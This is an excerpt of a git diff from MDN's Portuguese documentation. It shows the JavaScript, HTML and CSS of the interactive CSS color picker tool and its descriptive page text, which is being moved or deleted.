+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue < 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i < size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i < nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i<16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+
+ +

 

+ +

{{CSSRef}}

+ +

Esta ferramenta facilita a criação, ajuste, e experimentação de cores personalizadas na internet. Também facilita conversão entre vários formatos de cor disponíveis em CSS, incluindo: HEXA colors, RGB (Red/Green/Blue) e HSL (Hue/Saturation/Lightness). Também é possível controlar o canal alfa nos formatos RGB (rgba) and HSL (hsla).

+ +

Ao ajustar os parâmetros que definem a cor, a mesma é mostrada nos três formatos padrão de CSS na internet. Além disso, com base na cor atualmente selecionada, é gerada uma paleta para HSL e HSV, assim como alfa. A caixa de seleção de cores no estilo "conta-gotas" pode mudar entre HSL e HSV. Também pode testar as cores e ver como se intersetam arrastando-as para a caixa por baixo da ferramenta e deslocando-as para o mesmo ponto. Ajuste o valor do índice-Z relativo para as mover para a frente e para trás umas das outras.

+ +

Esta ferramenta vai ajudá-lo a identificar as cores perfeitas para o CSS do seu HTML.

+ +

{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}

+ +

As cores que gerou em cima podem ser usadas em qualquer sítio que estaria uma cor em CSS e/ou HTML, salvo indicação em contrário.

+ +

See also

+ +

Para mais informações sobre cores, consulte estes artigos:

+ + + +

 

+ + diff --git a/files/pt-pt/web/css/css_colors/ferramenta_selecao_cor/index.html b/files/pt-pt/web/css/css_colors/ferramenta_selecao_cor/index.html deleted file mode 100644 index 696f2afd11..0000000000 --- a/files/pt-pt/web/css/css_colors/ferramenta_selecao_cor/index.html +++ /dev/null @@ -1,3243 +0,0 @@ ---- -title: Ferramenta de seleção de cor -slug: Web/CSS/CSS_Colors/Ferramenta_selecao_cor -tags: - - CSS - - Ferramentas - - Seleção de cor - - cor -translation_of: Web/CSS/CSS_Colors/Color_picker_tool ---- -
-

ColorPicker tool

- -

HTML

- -
    <div id="container">
-        <div id="palette" class="block">
-            <div id="color-palette"></div>
-            <div id="color-info">
-                <div class="title"> CSS Color </div>
-            </div>
-        </div>
-
-        <div id="picker" class="block">
-            <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
-            <div id="picker-samples" sample-id="master"></div>
-            <div id="controls">
-                <div id="delete">
-                    <div id="trash-can"></div>
-                </div>
-                <div id="void-sample" class="icon"></div>
-            </div>
-        </div>
-
-        <div id="canvas" data-tutorial="drop">
-            <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
-                data-max="20" data-sensivity="10"></div>
-        </div>
-    </div>
-
-
- -

CSS

- -
/*
- * COLOR PICKER TOOL
- */
-
-.ui-color-picker {
-	width: 420px;
-	margin: 0;
-	border: 1px solid #DDD;
-	background-color: #FFF;
-	display: table;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-color-picker .picking-area {
-	width: 198px;
-	height: 198px;
-	margin: 5px;
-	border: 1px solid #DDD;
-	position: relative;
-	float: left;
-	display: table;
-}
-
-.ui-color-picker .picking-area:hover {
-	cursor: default;
-}
-
-/* HSV format - Hue-Saturation-Value(Brightness) */
-.ui-color-picker .picking-area {
-	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
-
-	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-
-	background-color: #F00;
-}
-
-/* HSL format - Hue-Saturation-Lightness */
-.ui-color-picker[data-mode='HSL'] .picking-area {
-	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
-									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
-				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
-	background-color: #F00;
-}
-
-.ui-color-picker .picker {
-	width: 10px;
-	height: 10px;
-	border-radius: 50%;
-	border: 1px solid #FFF;
-	position: absolute;
-	top: 45%;
-	left: 45%;
-}
-
-.ui-color-picker .picker:before {
-	width: 8px;
-	height: 8px;
-	content: "";
-	position: absolute;
-	border: 1px solid #999;
-	border-radius: 50%;
-}
-
-.ui-color-picker .hue,
-.ui-color-picker .alpha {
-	width: 198px;
-	height: 28px;
-	margin: 5px;
-	border: 1px solid #FFF;
-	float: left;
-}
-
-.ui-color-picker .hue {
-	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
-	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-}
-
-.ui-color-picker .alpha {
-	border: 1px solid #CCC;
-	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-}
-
-.ui-color-picker .alpha-mask {
-	width: 100%;
-	height: 100%;
-	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
-}
-
-.ui-color-picker .slider-picker {
-	width: 2px;
-	height: 100%;
-	border: 1px solid #777;
-	background-color: #FFF;
-	position: relative;
-	top: -1px;
-}
-
-/* input HSV and RGB */
-
-.ui-color-picker .info {
-	width: 200px;
-	margin: 5px;
-	float: left;
-}
-
-.ui-color-picker .info * {
-	float: left;
-}
-
-.ui-color-picker .input {
-	width: 64px;
-	margin: 5px 2px;
-	float: left;
-}
-
-.ui-color-picker .input .name {
-	height: 20px;
-	width: 30px;
-	text-align: center;
-	font-size: 14px;
-	line-height: 18px;
-	float: left;
-}
-
-.ui-color-picker .input input {
-	width: 30px;
-	height: 18px;
-	margin: 0;
-	padding: 0;
-	border: 1px solid #DDD;
-	text-align: center;
-	float: right;
-
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-.ui-color-picker .input[data-topic="lightness"] {
-	display: none;
-}
-
-.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
-	display: none;
-}
-
-.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
-	display: block;
-}
-
-.ui-color-picker .input[data-topic="alpha"] {
-	margin-top: 10px;
-	width: 93px;
-}
-
-.ui-color-picker .input[data-topic="alpha"] > .name {
-	width: 60px;
-}
-
-.ui-color-picker .input[data-topic="alpha"] > input {
-	float: right;
-}
-
-.ui-color-picker .input[data-topic="hexa"] {
-	width: auto;
-	float: right;
-	margin: 6px 8px 0 0;
-}
-
-.ui-color-picker .input[data-topic="hexa"] > .name {
-	display: none;
-}
-
-.ui-color-picker .input[data-topic="hexa"] > input {
-	width: 90px;
-	height: 24px;
-	padding: 2px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-/* Preview color */
-.ui-color-picker .preview {
-	width: 95px;
-	height: 53px;
-	margin: 5px;
-	margin-top: 10px;
-	border: 1px solid #DDD;
-	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-	float: left;
-	position: relative;
-}
-
-.ui-color-picker .preview:before {
-	height: 100%;
-	width: 50%;
-	left: 50%;
-	top: 0;
-	content: "";
-	background: #FFF;
-	position: absolute;
-	z-index: 1;
-}
-
-.ui-color-picker .preview-color {
-	width: 100%;
-	height: 100%;
-	background-color: rgba(255, 0, 0, 0.5);
-	position: absolute;
-	z-index: 1;
-}
-
